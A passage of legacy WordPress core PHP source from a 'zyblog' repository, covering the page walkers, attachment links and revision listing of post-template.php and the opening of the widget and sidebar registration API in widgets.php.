'</ul>'; $menu = '<div class="' . esc_attr($args['menu_class']) . '">' . $menu . "</div>\n"; $menu = apply_filters( 'wp_page_menu', $menu, $args ); if ( $args['echo'] ) echo $menu; else return $menu; } // // Page helpers // /** * Retrieve HTML list content for page list. * * @uses Walker_Page to create HTML list content. * @since 2.1.0 * @see Walker_Page::walk() for parameters and return description. */ function walk_page_tree($pages, $depth, $current_page, $r) { if ( empty($r['walker']) ) $walker = new Walker_Page; else $walker = $r['walker']; $args = array($pages, $depth, $r, $current_page); return call_user_func_array(array($walker, 'walk'), $args); } /** * Retrieve HTML dropdown (select) content for page list. * * @uses Walker_PageDropdown to create HTML dropdown content. * @since 2.1.0 * @see Walker_PageDropdown::walk() for parameters and return description. */ function walk_page_dropdown_tree() { $args = func_get_args(); if ( empty($args[2]['walker']) ) // the user's options are the third parameter $walker = new Walker_PageDropdown; else $walker = $args[2]['walker']; return call_user_func_array(array($walker, 'walk'), $args); } /** * Create HTML list of pages. * * @package WordPress * @since 2.1.0 * @uses Walker */ class Walker_Page extends Walker { /** * @see Walker::$tree_type * @since 2.1.0 * @var string */ var $tree_type = 'page'; /** * @see Walker::$db_fields * @since 2.1.0 * @todo Decouple this. * @var array */ var $db_fields = array ('parent' => 'post_parent', 'id' => 'ID'); /** * @see Walker::start_lvl() * @since 2.1.0 * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of page. Used for padding. * @param array $args */ function start_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat("\t", $depth); $output .= "\n$indent<ul class='children'>\n"; } /** * @see Walker::end_lvl() * @since 2.1.0 * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of page. Used for padding. * @param array $args */ function end_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat("\t", $depth); $output .= "$indent</ul>\n"; } /** * @see Walker::start_el() * @since 2.1.0 * * @param string $output Passed by reference. Used to append additional content. * @param object $page Page data object. * @param int $depth Depth of page. Used for padding. * @param int $current_page Page ID. * @param array $args */ function start_el( &$output, $page, $depth, $args, $current_page = 0 ) { if ( $depth ) $indent = str_repeat("\t", $depth); else $indent = ''; extract($args, EXTR_SKIP); $css_class = array('page_item', 'page-item-'.$page->ID); if ( !empty($current_page) ) { $_current_page = get_post( $current_page ); if ( in_array( $page->ID, $_current_page->ancestors ) ) $css_class[] = 'current_page_ancestor'; if ( $page->ID == $current_page ) $css_class[] = 'current_page_item'; elseif ( $_current_page && $page->ID == $_current_page->post_parent ) $css_class[] = 'current_page_parent'; } elseif ( $page->ID == get_option('page_for_posts') ) { $css_class[] = 'current_page_parent'; } $css_class = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page ) ); $output .= $indent . '<li class="' . $css_class . '"><a href="' . get_permalink($page->ID) . '">' . $link_before . apply_filters( 'the_title', $page->post_title, $page->ID ) . $link_after . '</a>'; if ( !empty($show_date) ) { if ( 'modified' == $show_date ) $time = $page->post_modified; else $time = $page->post_date; $output .= " " . mysql2date($date_format, $time); } } /** * @see Walker::end_el() * @since 2.1.0 * * @param string $output Passed by reference. Used to append additional content. * @param object $page Page data object. Not used. * @param int $depth Depth of page. Not Used. * @param array $args */ function end_el( &$output, $page, $depth = 0, $args = array() ) { $output .= "</li>\n"; } } /** * Create HTML dropdown list of pages. * * @package WordPress * @since 2.1.0 * @uses Walker */ class Walker_PageDropdown extends Walker { /** * @see Walker::$tree_type * @since 2.1.0 * @var string */ var $tree_type = 'page'; /** * @see Walker::$db_fields * @since 2.1.0 * @todo Decouple this * @var array */ var $db_fields = array ('parent' => 'post_parent', 'id' => 'ID'); /** * @see Walker::start_el() * @since 2.1.0 * * @param string $output Passed by reference. Used to append additional content. * @param object $page Page data object. * @param int $depth Depth of page in reference to parent pages. Used for padding. * @param array $args Uses 'selected' argument for selected page to set selected HTML attribute for option element. * @param int $id */ function start_el(&$output, $page, $depth, $args, $id = 0) { $pad = str_repeat('&nbsp;', $depth * 3); $output .= "\t<option class=\"level-$depth\" value=\"$page->ID\""; if ( $page->ID == $args['selected'] ) $output .= ' selected="selected"'; $output .= '>'; $title = apply_filters( 'list_pages', $page->post_title, $page ); $output .= $pad . esc_html( $title ); $output .= "</option>\n"; } } // // Attachments // /** * Display an attachment page link using an image or icon. * * @since 2.0.0 * * @param int $id Optional. Post ID. * @param bool $fullsize Optional, default is false. Whether to use full size. * @param bool $deprecated Deprecated. Not used. * @param bool $permalink Optional, default is false. Whether to include permalink. */ function the_attachment_link( $id = 0, $fullsize = false, $deprecated = false, $permalink = false ) { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.5' ); if ( $fullsize ) echo wp_get_attachment_link($id, 'full', $permalink); else echo wp_get_attachment_link($id, 'thumbnail', $permalink); } /** * Retrieve an attachment page link using an image or icon, if possible. * * @since 2.5.0 * @uses apply_filters() Calls 'wp_get_attachment_link' filter on HTML content with same parameters as function. * * @param int $id Optional. Post ID. * @param string $size Optional, default is 'thumbnail'. Size of image, either array or string. * @param bool $permalink Optional, default is false. Whether to add permalink to image. * @param bool $icon Optional, default is false. Whether to include icon. * @param string|bool $text Optional, default is false. If string, then will be link text. * @return string HTML content. */ function wp_get_attachment_link( $id = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false ) { $id = intval( $id ); $_post = get_post( $id ); if ( empty( $_post ) || ( 'attachment' != $_post->post_type ) || ! $url = wp_get_attachment_url( $_post->ID ) ) return __( 'Missing Attachment' ); if ( $permalink ) $url = get_attachment_link( $_post->ID ); $post_title = esc_attr( $_post->post_title ); if ( $text ) $link_text = $text; elseif ( $size && 'none' != $size ) $link_text = wp_get_attachment_image( $id, $size, $icon ); else $link_text = ''; if ( trim( $link_text ) == '' ) $link_text = $_post->post_title; return apply_filters( 'wp_get_attachment_link', "<a href='$url' title='$post_title'>$link_text</a>", $id, $size, $permalink, $icon, $text ); } /** * Wrap attachment in <<p>> element before content. * * @since 2.0.0 * @uses apply_filters() Calls 'prepend_attachment' hook on HTML content. * * @param string $content * @return string */ function prepend_attachment($content) { $post = get_post(); if ( empty($post->post_type) || $post->post_type != 'attachment' ) return $content; $p = '<p class="attachment">'; // show the medium sized image representation of the attachment if available, and link to the raw file $p .= wp_get_attachment_link(0, 'medium', false); $p .= '</p>'; $p = apply_filters('prepend_attachment', $p); return "$p\n$content"; } // // Misc // /** * Retrieve protected post password form content. * * @since 1.0.0 * @uses apply_filters() Calls 'the_password_form' filter on output. * * @return string HTML content for password form for password protected post. */ function get_the_password_form() { $post = get_post(); $label = 'pwbox-' . ( empty($post->ID) ? rand() : $post->ID ); $output = '<form action="' . esc_url( site_url( 'wp-login.php?action=postpass', 'login_post' ) ) . '" method="post"> <p>' . __("This post is password protected. To view it please enter your password below:") . '</p> <p><label for="' . $label . '">' . __("Password:") . ' <input name="post_password" id="' . $label . '" type="password" size="20" /></label> <input type="submit" name="Submit" value="' . esc_attr__("Submit") . '" /></p> </form> '; return apply_filters('the_password_form', $output); } /** * Whether currently in a page template. * * This template tag allows you to determine if you are in a page template. * You can optionally provide a template name and then the check will be * specific to that template. * * @since 2.5.0 * @uses $wp_query * * @param string $template The specific template name if specific matching is required. * @return bool False on failure, true if success. */ function is_page_template( $template = '' ) { if ( ! is_page() ) return false; $page_template = get_page_template_slug( get_queried_object_id() ); if ( empty( $template ) ) return (bool) $page_template; if ( $template == $page_template ) return true; if ( 'default' == $template && ! $page_template ) return true; return false; } /** * Get the specific template name for a page. * * @since 3.4.0 * * @param int $post_id The page ID to check. Defaults to the current post, when used in the loop. * @return string|bool Page template filename. Returns an empty string when the default page template * is in use. Returns false if the post is not a page. */ function get_page_template_slug( $post_id = null ) { $post = get_post( $post_id ); if ( 'page' != $post->post_type ) return false; $template = get_post_meta( $post->ID, '_wp_page_template', true ); if ( ! $template || 'default' == $template ) return ''; return $template; } /** * Retrieve formatted date timestamp of a revision (linked to that revisions's page). * * @package WordPress * @subpackage Post_Revisions * @since 2.6.0 * * @uses date_i18n() * * @param int|object $revision Revision ID or revision object. * @param bool $link Optional, default is true. Link to revisions's page? * @return string i18n formatted datetimestamp or localized 'Current Revision'. */ function wp_post_revision_title( $revision, $link = true ) { if ( !$revision = get_post( $revision ) ) return $revision; if ( !in_array( $revision->post_type, array( 'post', 'page', 'revision' ) ) ) return false; /* translators: revision date format, see http://php.net/date */ $datef = _x( 'j F, Y @ G:i', 'revision date format'); /* translators: 1: date */ $autosavef = __( '%1$s [Autosave]' ); /* translators: 1: date */ $currentf = __( '%1$s [Current Revision]' ); $date = date_i18n( $datef, strtotime( $revision->post_modified ) ); if ( $link && current_user_can( 'edit_post', $revision->ID ) && $link = get_edit_post_link( $revision->ID ) ) $date = "<a href='$link'>$date</a>"; if ( !wp_is_post_revision( $revision ) ) $date = sprintf( $currentf, $date ); elseif ( wp_is_post_autosave( $revision ) ) $date = sprintf( $autosavef, $date ); return $date; } /** * Display list of a post's revisions. * * Can output either a UL with edit links or a TABLE with diff interface, and * restore action links. * * Second argument controls parameters: * (bool) parent : include the parent (the "Current Revision") in the list. * (string) format : 'list' or 'form-table'. 'list' outputs UL, 'form-table' * outputs TABLE with UI. * (int) right : what revision is currently being viewed - used in * form-table format. * (int) left : what revision is currently being diffed against right - * used in form-table format. * * @package WordPress * @subpackage Post_Revisions * @since 2.6.0 * * @uses wp_get_post_revisions() * @uses wp_post_revision_title() * @uses get_edit_post_link() * @uses get_the_author_meta() * * @todo split into two functions (list, form-table) ? * * @param int|object $post_id Post ID or post object. * @param string|array $args See description {@link wp_parse_args()}. * @return null */ function wp_list_post_revisions( $post_id = 0, $args = null ) { if ( !$post = get_post( $post_id ) ) return; $defaults = array( 'parent' => false, 'right' => false, 'left' => false, 'format' => 'list', 'type' => 'all' ); extract( wp_parse_args( $args, $defaults ), EXTR_SKIP ); switch ( $type ) { case 'autosave' : if ( !$autosave = wp_get_post_autosave( $post->ID ) ) return; $revisions = array( $autosave ); break; case 'revision' : // just revisions - remove autosave later case 'all' : default : if ( !$revisions = wp_get_post_revisions( $post->ID ) ) return; break; } /* translators: post revision: 1: when, 2: author name */ $titlef = _x( '%1$s by %2$s', 'post revision' ); if ( $parent ) array_unshift( $revisions, $post ); $rows = $right_checked = ''; $class = false; $can_edit_post = current_user_can( 'edit_post', $post->ID ); foreach ( $revisions as $revision ) { if ( !current_user_can( 'read_post', $revision->ID ) ) continue; if ( 'revision' === $type && wp_is_post_autosave( $revision ) ) continue; $date = wp_post_revision_title( $revision ); $name = get_the_author_meta( 'display_name', $revision->post_author ); if ( 'form-table' == $format ) { if ( $left ) $left_checked = $left == $revision->ID ? ' checked="checked"' : ''; else $left_checked = $right_checked ? ' checked="checked"' : ''; // [sic] (the next one) $right_checked = $right == $revision->ID ? ' checked="checked"' : ''; $class = $class ? '' : " class='alternate'"; if ( $post->ID != $revision->ID && $can_edit_post ) $actions = '<a href="' . wp_nonce_url( add_query_arg( array( 'revision' => $revision->ID, 'action' => 'restore' ) ), "restore-post_$post->ID|$revision->ID" ) . '">' . __( 'Restore' ) . '</a>'; else $actions = ''; $rows .= "<tr$class>\n"; $rows .= "\t<th style='white-space: nowrap' scope='row'><input type='radio' name='left' value='$revision->ID'$left_checked /></th>\n"; $rows .= "\t<th style='white-space: nowrap' scope='row'><input type='radio' name='right' value='$revision->ID'$right_checked /></th>\n"; $rows .= "\t<td>$date</td>\n"; $rows .= "\t<td>$name</td>\n"; $rows .= "\t<td class='action-links'>$actions</td>\n"; $rows .= "</tr>\n"; } else { $title = sprintf( $titlef, $date, $name ); $rows .= "\t<li>$title</li>\n"; } } if ( 'form-table' == $format ) : ?> <form action="revision.php" method="get"> <div class="tablenav"> <div class="alignleft"> <input type="submit" class="button-secondary" value="<?php esc_attr_e( 'Compare Revisions' ); ?>" /> <input type="hidden" name="action" value="diff" /> <input type="hidden" name="post_type" value="<?php echo esc_attr($post->post_type); ?>" /> </div> </div> <br class="clear" /> <table class="widefat post-revisions" cellspacing="0" id="post-revisions"> <col /> <col /> <col style="width: 33%" /> <col style="width: 33%" /> <col style="width: 33%" /> <thead> <tr> <th scope="col"><?php /* translators: column name in revisions */ _ex( 'Old', 'revisions column name' ); ?></th> <th scope="col"><?php /* translators: column name in revisions */ _ex( 'New', 'revisions column name' ); ?></th> <th scope="col"><?php /* translators: column name in revisions */ _ex( 'Date Created', 'revisions column name' ); ?></th> <th scope="col"><?php _e( 'Author' ); ?></th> <th scope="col" class="action-links"><?php _e( 'Actions' ); ?></th> </tr> </thead> <tbody> <?php echo $rows; ?> </tbody> </table> </form> <?php else : echo "<ul class='post-revisions'>\n"; echo $rows; echo "</ul>"; endif; }
zyblog
trunk/zyblog/wp-includes/post-template.php
PHP
asf20
43,116
<?php /** * API for creating dynamic sidebar without hardcoding functionality into * themes. Includes both internal WordPress routines and theme use routines. * * This functionality was found in a plugin before WordPress 2.2 release which * included it in the core from that point on. * * @link http://codex.wordpress.org/Plugins/WordPress_Widgets WordPress Widgets * @link http://codex.wordpress.org/Plugins/WordPress_Widgets_Api Widgets API * * @package WordPress * @subpackage Widgets */ /** * This class must be extended for each widget and WP_Widget::widget(), WP_Widget::update() * and WP_Widget::form() need to be over-ridden. * * @package WordPress * @subpackage Widgets * @since 2.8 */ class WP_Widget { var $id_base; // Root id for all widgets of this type. var $name; // Name for this widget type. var $widget_options; // Option array passed to wp_register_sidebar_widget() var $control_options; // Option array passed to wp_register_widget_control() var $number = false; // Unique ID number of the current instance. var $id = false; // Unique ID string of the current instance (id_base-number) var $updated = false; // Set true when we update the data after a POST submit - makes sure we don't do it twice. // Member functions that you must over-ride. /** Echo the widget content. * * Subclasses should over-ride this function to generate their widget code. * * @param array $args Display arguments including before_title, after_title, before_widget, and after_widget. * @param array $instance The settings for the particular instance of the widget */ function widget($args, $instance) { die('function WP_Widget::widget() must be over-ridden in a sub-class.'); } /** Update a particular instance. * * This function should check that $new_instance is set correctly. * The newly calculated value of $instance should be returned. * If "false" is returned, the instance won't be saved/updated. * * @param array $new_instance New settings for this instance as input by the user via form() * @param array $old_instance Old settings for this instance * @return array Settings to save or bool false to cancel saving */ function update($new_instance, $old_instance) { return $new_instance; } /** Echo the settings update form * * @param array $instance Current settings */ function form($instance) { echo '<p class="no-options-widget">' . __('There are no options for this widget.') . '</p>'; return 'noform'; } // Functions you'll need to call. /** * PHP4 constructor */ function WP_Widget( $id_base = false, $name, $widget_options = array(), $control_options = array() ) { WP_Widget::__construct( $id_base, $name, $widget_options, $control_options ); } /** * PHP5 constructor * * @param string $id_base Optional Base ID for the widget, lower case, * if left empty a portion of the widget's class name will be used. Has to be unique. * @param string $name Name for the widget displayed on the configuration page. * @param array $widget_options Optional Passed to wp_register_sidebar_widget() * - description: shown on the configuration page * - classname * @param array $control_options Optional Passed to wp_register_widget_control() * - width: required if more than 250px * - height: currently not used but may be needed in the future */ function __construct( $id_base = false, $name, $widget_options = array(), $control_options = array() ) { $this->id_base = empty($id_base) ? preg_replace( '/(wp_)?widget_/', '', strtolower(get_class($this)) ) : strtolower($id_base); $this->name = $name; $this->option_name = 'widget_' . $this->id_base; $this->widget_options = wp_parse_args( $widget_options, array('classname' => $this->option_name) ); $this->control_options = wp_parse_args( $control_options, array('id_base' => $this->id_base) ); } /** * Constructs name attributes for use in form() fields * * This function should be used in form() methods to create name attributes for fields to be saved by update() * * @param string $field_name Field name * @return string Name attribute for $field_name */ function get_field_name($field_name) { return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']'; } /** * Constructs id attributes for use in form() fields * * This function should be used in form() methods to create id attributes for fields to be saved by update() * * @param string $field_name Field name * @return string ID attribute for $field_name */ function get_field_id($field_name) { return 'widget-' . $this->id_base . '-' . $this->number . '-' . $field_name; } // Private Functions. Don't worry about these. function _register() { $settings = $this->get_settings(); $empty = true; if ( is_array($settings) ) { foreach ( array_keys($settings) as $number ) { if ( is_numeric($number) ) { $this->_set($number); $this->_register_one($number); $empty = false; } } } if ( $empty ) { // If there are none, we register the widget's existence with a // generic template $this->_set(1); $this->_register_one(); } } function _set($number) { $this->number = $number; $this->id = $this->id_base . '-' . $number; } function _get_display_callback() { return array($this, 'display_callback'); } function _get_update_callback() { return array($this, 'update_callback'); } function _get_form_callback() { return array($this, 'form_callback'); } /** Generate the actual widget content. * Just finds the instance and calls widget(). * Do NOT over-ride this function. */ function display_callback( $args, $widget_args = 1 ) { if ( is_numeric($widget_args) ) $widget_args = array( 'number' => $widget_args ); $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); $this->_set( $widget_args['number'] ); $instance = $this->get_settings(); if ( array_key_exists( $this->number, $instance ) ) { $instance = $instance[$this->number]; // filters the widget's settings, return false to stop displaying the widget $instance = apply_filters('widget_display_callback', $instance, $this, $args); if ( false !== $instance ) $this->widget($args, $instance); } } /** Deal with changed settings. * Do NOT over-ride this function. */ function update_callback( $widget_args = 1 ) { global $wp_registered_widgets; if ( is_numeric($widget_args) ) $widget_args = array( 'number' => $widget_args ); $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); $all_instances = $this->get_settings(); // We need to update the data if ( $this->updated ) return; $sidebars_widgets = wp_get_sidebars_widgets(); if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) { // Delete the settings for this instance of the widget if ( isset($_POST['the-widget-id']) ) $del_id = $_POST['the-widget-id']; else return; if ( isset($wp_registered_widgets[$del_id]['params'][0]['number']) ) { $number = $wp_registered_widgets[$del_id]['params'][0]['number']; if ( $this->id_base . '-' . $number == $del_id ) unset($all_instances[$number]); } } else { if ( isset($_POST['widget-' . $this->id_base]) && is_array($_POST['widget-' . $this->id_base]) ) { $settings = $_POST['widget-' . $this->id_base]; } elseif ( isset($_POST['id_base']) && $_POST['id_base'] == $this->id_base ) { $num = $_POST['multi_number'] ? (int) $_POST['multi_number'] : (int) $_POST['widget_number']; $settings = array( $num => array() ); } else { return; } foreach ( $settings as $number => $new_instance ) { $new_instance = stripslashes_deep($new_instance); $this->_set($number); $old_instance = isset($all_instances[$number]) ? $all_instances[$number] : array(); $instance = $this->update($new_instance, $old_instance); // filters the widget's settings before saving, return false to cancel saving (keep the old settings if updating) $instance = apply_filters('widget_update_callback', $instance, $new_instance, $old_instance, $this); if ( false !== $instance ) $all_instances[$number] = $instance; break; // run only once } } $this->save_settings($all_instances); $this->updated = true; } /** Generate the control form. * Do NOT over-ride this function. */ function form_callback( $widget_args = 1 ) { if ( is_numeric($widget_args) ) $widget_args = array( 'number' => $widget_args ); $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); $all_instances = $this->get_settings(); if ( -1 == $widget_args['number'] ) { // We echo out a form where 'number' can be set later $this->_set('__i__'); $instance = array(); } else { $this->_set($widget_args['number']); $instance = $all_instances[ $widget_args['number'] ]; } // filters the widget admin form before displaying, return false to stop displaying it $instance = apply_filters('widget_form_callback', $instance, $this); $return = null; if ( false !== $instance ) { $return = $this->form($instance); // add extra fields in the widget form - be sure to set $return to null if you add any // if the widget has no form the text echoed from the default form method can be hidden using css do_action_ref_array( 'in_widget_form', array(&$this, &$return, $instance) ); } return $return; } /** Helper function: Registers a single instance. */ function _register_one($number = -1) { wp_register_sidebar_widget( $this->id, $this->name, $this->_get_display_callback(), $this->widget_options, array( 'number' => $number ) ); _register_widget_update_callback( $this->id_base, $this->_get_update_callback(), $this->control_options, array( 'number' => -1 ) ); _register_widget_form_callback( $this->id, $this->name, $this->_get_form_callback(), $this->control_options, array( 'number' => $number ) ); } function save_settings($settings) { $settings['_multiwidget'] = 1; update_option( $this->option_name, $settings ); } function get_settings() { $settings = get_option($this->option_name); if ( false === $settings && isset($this->alt_option_name) ) $settings = get_option($this->alt_option_name); if ( !is_array($settings) ) $settings = array(); if ( !empty($settings) && !array_key_exists('_multiwidget', $settings) ) { // old format, convert if single widget $settings = wp_convert_widget_settings($this->id_base, $this->option_name, $settings); } unset($settings['_multiwidget'], $settings['__i__']); return $settings; } } /** * Singleton that registers and instantiates WP_Widget classes. * * @package WordPress * @subpackage Widgets * @since 2.8 */ class WP_Widget_Factory { var $widgets = array(); function WP_Widget_Factory() { add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 ); } function register($widget_class) { $this->widgets[$widget_class] = new $widget_class(); } function unregister($widget_class) { if ( isset($this->widgets[$widget_class]) ) unset($this->widgets[$widget_class]); } function _register_widgets() { global $wp_registered_widgets; $keys = array_keys($this->widgets); $registered = array_keys($wp_registered_widgets); $registered = array_map('_get_widget_id_base', $registered); foreach ( $keys as $key ) { // don't register new widget if old widget with the same id is already registered if ( in_array($this->widgets[$key]->id_base, $registered, true) ) { unset($this->widgets[$key]); continue; } $this->widgets[$key]->_register(); } } } /* Global Variables */ /** @ignore */ global $wp_registered_sidebars, $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates; /** * Stores the sidebars, since many themes can have more than one. * * @global array $wp_registered_sidebars * @since 2.2.0 */ $wp_registered_sidebars = array(); /** * Stores the registered widgets. * * @global array $wp_registered_widgets * @since 2.2.0 */ $wp_registered_widgets = array(); /** * Stores the registered widget control (options). * * @global array $wp_registered_widget_controls * @since 2.2.0 */ $wp_registered_widget_controls = array(); $wp_registered_widget_updates = array(); /** * Private */ $_wp_sidebars_widgets = array(); /** * Private */ $GLOBALS['_wp_deprecated_widgets_callbacks'] = array( 'wp_widget_pages', 'wp_widget_pages_control', 'wp_widget_calendar', 'wp_widget_calendar_control', 'wp_widget_archives', 'wp_widget_archives_control', 'wp_widget_links', 'wp_widget_meta', 'wp_widget_meta_control', 'wp_widget_search', 'wp_widget_recent_entries', 'wp_widget_recent_entries_control', 'wp_widget_tag_cloud', 'wp_widget_tag_cloud_control', 'wp_widget_categories', 'wp_widget_categories_control', 'wp_widget_text', 'wp_widget_text_control', 'wp_widget_rss', 'wp_widget_rss_control', 'wp_widget_recent_comments', 'wp_widget_recent_comments_control' ); /* Template tags & API functions */ /** * Register a widget * * Registers a WP_Widget widget * * @since 2.8.0 * * @see WP_Widget * @see WP_Widget_Factory * @uses WP_Widget_Factory * * @param string $widget_class The name of a class that extends WP_Widget */ function register_widget($widget_class) { global $wp_widget_factory; $wp_widget_factory->register($widget_class); } /** * Unregister a widget * * Unregisters a WP_Widget widget. Useful for unregistering default widgets. * Run within a function hooked to the widgets_init action. * * @since 2.8.0 * * @see WP_Widget * @see WP_Widget_Factory * @uses WP_Widget_Factory * * @param string $widget_class The name of a class that extends WP_Widget */ function unregister_widget($widget_class) { global $wp_widget_factory; $wp_widget_factory->unregister($widget_class); } /** * Creates multiple sidebars. * * If you wanted to quickly create multiple sidebars for a theme or internally. * This function will allow you to do so. If you don't pass the 'name' and/or * 'id' in $args, then they will be built for you. * * The default for the name is "Sidebar #", with '#' being replaced with the * number the sidebar is currently when greater than one. If first sidebar, the * name will be just "Sidebar". The default for id is "sidebar-" followed by the * number the sidebar creation is currently at. If the id is provided, and multiple * sidebars are being defined, the id will have "-2" appended, and so on. * * @since 2.2.0 * * @see register_sidebar() The second parameter is documented by register_sidebar() and is the same here. * @uses parse_str() Converts a string to an array to be used in the rest of the function. * @uses register_sidebar() Sends single sidebar information [name, id] to this * function to handle building the sidebar. * * @param int $number Number of sidebars to create. * @param string|array $args Builds Sidebar based off of 'name' and 'id' values. */ function register_sidebars($number = 1, $args = array()) { global $wp_registered_sidebars; $number = (int) $number; if ( is_string($args) ) parse_str($args, $args); for ( $i = 1; $i <= $number; $i++ ) { $_args = $args; if ( $number > 1 ) $_args['name'] = isset($args['name']) ? sprintf($args['name'], $i) : sprintf(__('Sidebar %d'), $i); else $_args['name'] = isset($args['name']) ? $args['name'] : __('Sidebar'); // Custom specified ID's are suffixed if they exist already. // Automatically generated sidebar names need to be suffixed regardless starting at -0 if ( isset($args['id']) ) { $_args['id'] = $args['id']; $n = 2; // Start at -2 for conflicting custom ID's while ( isset($wp_registered_sidebars[$_args['id']]) ) $_args['id'] = $args['id'] . '-' . $n++; } else { $n = count($wp_registered_sidebars); do { $_args['id'] = 'sidebar-' . ++$n; } while ( isset($wp_registered_sidebars[$_args['id']]) ); } register_sidebar($_args); } } /** * Builds the definition for a single sidebar and returns the ID. * * The $args parameter takes either a string or an array with 'name' and 'id' * contained in either usage. It will be noted that the values will be applied * to all sidebars, so if creating more than one, it will be advised to allow * for WordPress to create the defaults for you. * * Example for string would be <code>'name=whatever;id=whatever1'</code> and for * the array it would be <code>array( * 'name' => 'whatever', * 'id' => 'whatever1')</code>. * * name - The name of the sidebar, which presumably the title which will be * displayed. * id - The unique identifier by which the sidebar will be called by. * before_widget - The content that will prepended to the widgets when they are * displayed. * after_widget - The content that will be appended to the widgets when they are * displayed. * before_title - The content that will be prepended to the title when displayed. * after_title - the content that will be appended to the title when displayed. * * <em>Content</em> is assumed to be HTML and should be formatted as such, but * doesn't have to be. * * @since 2.2.0 * @uses $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID. * * @param string|array $args Builds Sidebar based off of 'name' and 'id' values * @return string The sidebar id that was added. */ function register_sidebar($args = array()) { global $wp_registered_sidebars; $i = count($wp_registered_sidebars) + 1; $defaults = array( 'name' => sprintf(__('Sidebar %d'), $i ), 'id' => "sidebar-$i", 'description' => '', 'class' => '', 'before_widget' => '<li id="%1$s" class="widget %2$s">', 'after_widget' => "</li>\n", 'before_title' => '<h2 class="widgettitle">', 'after_title' => "</h2>\n", ); $sidebar = wp_parse_args( $args, $defaults ); $wp_registered_sidebars[$sidebar['id']] = $sidebar; add_theme_support('widgets'); do_action( 'register_sidebar', $sidebar ); return $sidebar['id']; } /** * Removes a sidebar from the list. * * @since 2.2.0 * * @uses $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID. * * @param string $name The ID of the sidebar when it was added. */ function unregister_sidebar( $name ) { global $wp_registered_sidebars; if ( isset( $wp_registered_sidebars[$name] ) ) unset( $wp_registered_sidebars[$name] ); } /** * Register widget for use in sidebars. * * The default widget option is 'classname' that can be override. * * The function can also be used to unregister widgets when $output_callback * parameter is an empty string. * * @since 2.2.0 * * @uses $wp_registered_widgets Uses stored registered widgets. * @uses $wp_register_widget_defaults Retrieves widget defaults. * * @param int|string $id Widget ID. * @param string $name Widget display title. * @param callback $output_callback Run when widget is called. * @param array|string $options Optional. Widget Options. * @param mixed $params,... Widget parameters to add to widget. * @return null Will return if $output_callback is empty after removing widget. */ function wp_register_sidebar_widget($id, $name, $output_callback, $options = array()) { global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates, $_wp_deprecated_widgets_callbacks; $id = strtolower($id); if ( empty($output_callback) ) { unset($wp_registered_widgets[$id]); return; } $id_base = _get_widget_id_base($id); if ( in_array($output_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($output_callback) ) { if ( isset($wp_registered_widget_controls[$id]) ) unset($wp_registered_widget_controls[$id]); if ( isset($wp_registered_widget_updates[$id_base]) ) unset($wp_registered_widget_updates[$id_base]); return; } $defaults = array('classname' => $output_callback); $options = wp_parse_args($options, $defaults); $widget = array( 'name' => $name, 'id' => $id, 'callback' => $output_callback, 'params' => array_slice(func_get_args(), 4) ); $widget = array_merge($widget, $options); if ( is_callable($output_callback) && ( !isset($wp_registered_widgets[$id]) || did_action( 'widgets_init' ) ) ) { do_action( 'wp_register_sidebar_widget', $widget ); $wp_registered_widgets[$id] = $widget; } } /** * Retrieve description for widget. * * When registering widgets, the options can also include 'description' that * describes the widget for display on the widget administration panel or * in the theme. * * @since 2.5.0 * * @param int|string $id Widget ID. * @return string Widget description, if available. Null on failure to retrieve description. */ function wp_widget_description( $id ) { if ( !is_scalar($id) ) return; global $wp_registered_widgets; if ( isset($wp_registered_widgets[$id]['description']) ) return esc_html( $wp_registered_widgets[$id]['description'] ); } /** * Retrieve description for a sidebar. * * When registering sidebars a 'description' parameter can be included that * describes the sidebar for display on the widget administration panel. * * @since 2.9.0 * * @param int|string $id sidebar ID. * @return string Sidebar description, if available. Null on failure to retrieve description. */ function wp_sidebar_description( $id ) { if ( !is_scalar($id) ) return; global $wp_registered_sidebars; if ( isset($wp_registered_sidebars[$id]['description']) ) return esc_html( $wp_registered_sidebars[$id]['description'] ); } /** * Remove widget from sidebar. * * @since 2.2.0 * * @param int|string $id Widget ID. */ function wp_unregister_sidebar_widget($id) { do_action( 'wp_unregister_sidebar_widget', $id ); wp_register_sidebar_widget($id, '', ''); wp_unregister_widget_control($id); } /** * Registers widget control callback for customizing options. * * The options contains the 'height', 'width', and 'id_base' keys. The 'height' * option is never used. The 'width' option is the width of the fully expanded * control form, but try hard to use the default width. The 'id_base' is for * multi-widgets (widgets which allow multiple instances such as the text * widget), an id_base must be provided. The widget id will end up looking like * {$id_base}-{$unique_number}. * * @since 2.2.0 * * @param int|string $id Sidebar ID. * @param string $name Sidebar display name. * @param callback $control_callback Run when sidebar is displayed. * @param array|string $options Optional. Widget options. See above long description. * @param mixed $params,... Optional. Additional parameters to add to widget. */ function wp_register_widget_control($id, $name, $control_callback, $options = array()) { global $wp_registered_widget_controls, $wp_registered_widget_updates, $wp_registered_widgets, $_wp_deprecated_widgets_callbacks; $id = strtolower($id); $id_base = _get_widget_id_base($id); if ( empty($control_callback) ) { unset($wp_registered_widget_controls[$id]); unset($wp_registered_widget_updates[$id_base]); return; } if ( in_array($control_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($control_callback) ) { if ( isset($wp_registered_widgets[$id]) ) unset($wp_registered_widgets[$id]); return; } if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) ) return; $defaults = array('width' => 250, 'height' => 200 ); // height is never used $options = wp_parse_args($options, $defaults); $options['width'] = (int) $options['width']; $options['height'] = (int) $options['height']; $widget = array( 'name' => $name, 'id' => $id, 'callback' => $control_callback, 'params' => 